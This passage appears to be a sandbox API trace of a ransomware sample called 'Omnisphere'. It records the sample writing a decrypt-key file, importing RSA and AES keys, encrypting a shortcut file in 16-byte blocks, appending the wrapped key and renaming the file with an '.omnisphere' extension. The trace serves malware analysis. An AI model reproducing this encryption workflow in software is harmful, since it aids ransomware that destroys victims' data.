"c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.239] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.239] CloseHandle (hObject=0x28c) returned 1 [0127.239] GetProcessHeap () returned 0x1600000 [0127.239] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.239] GetProcessHeap () returned 0x1600000 [0127.239] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167b808 | out: hHeap=0x1600000) returned 1 [0127.239] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e80639c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e80639c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1e80639c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x474, dwReserved0=0x0, dwReserved1=0xd3, cFileName="vO76JtHD.flv.lnk", cAlternateFileName="VO76JT~1.LNK")) returned 1 [0127.239] GetProcessHeap () returned 0x1600000 [0127.239] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa2) returned 0x162cec8 [0127.239] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="vO76JtHD.flv.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vO76JtHD.flv.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vO76JtHD.flv.lnk" [0127.239] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.239] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vO76JtHD.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\vo76jthd.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.240] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1140) returned 1 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.240] GetTickCount () returned 0x115fc00 [0127.241] GetTickCount () returned 0x115fc00 [0127.241] GetTickCount () returned 0x115fc00 [0127.241] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668bd0) returned 1 [0127.241] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16394e8) returned 1 [0127.241] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.241] CryptDestroyKey (hKey=0x16394e8) returned 1 [0127.241] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0127.241] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x474, lpName=0x0) returned 0x288 [0127.241] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x474) returned 0x1480000 [0127.242] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668e78) returned 1 [0127.242] CryptImportKey (in: hProv=0x1668e78, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639868) returned 1 [0127.242] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.242] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.242] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.242] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.242] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.242] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.243] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.243] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.243] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.243] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.243] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.243] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.243] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.243] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.243] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.243] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.243] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.243] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.243] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.243] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.243] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.243] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.243] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.243] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.243] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.243] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.243] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.243] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.243] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.243] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.243] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.243] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.244] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.244] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.244] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.244] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.244] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.244] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.244] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.244] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.244] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.244] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.244] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.244] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.244] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.244] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.244] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.244] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.244] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.244] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.244] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.244] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.244] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.244] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.244] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.244] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.244] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.245] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.245] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.245] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.245] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.245] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.245] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.245] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.245] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.245] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.245] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.245] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.245] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.245] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.245] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.245] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.245] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.245] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.245] CryptDestroyKey (hKey=0x1639868) returned 1 [0127.245] CryptReleaseContext (hProv=0x1668e78, dwFlags=0x0) returned 1 [0127.245] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.245] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.246] GetProcessHeap () returned 0x1600000 [0127.246] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b2) returned 0x16f03f0 [0127.246] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vO76JtHD.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\vo76jthd.flv.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vO76JtHD.flv.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\vo76jthd.flv.lnk.omnisphere")) returned 1 [0127.246] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vO76JtHD.flv.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vO76JtHD.flv.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vO76JtHD.flv.lnk.omnisphere.id" [0127.246] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vO76JtHD.flv.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\vo76jthd.flv.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.247] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.248] CloseHandle (hObject=0x3c0) returned 1 [0127.248] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.248] CloseHandle (hObject=0x288) returned 1 [0127.248] SetEndOfFile (hFile=0x28c) returned 1 [0127.248] FlushFileBuffers (hFile=0x28c) returned 1 [0127.264] CloseHandle (hObject=0x28c) returned 1 [0127.265] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vO76JtHD.flv.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.265] GetProcessHeap () returned 0x1600000 [0127.265] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 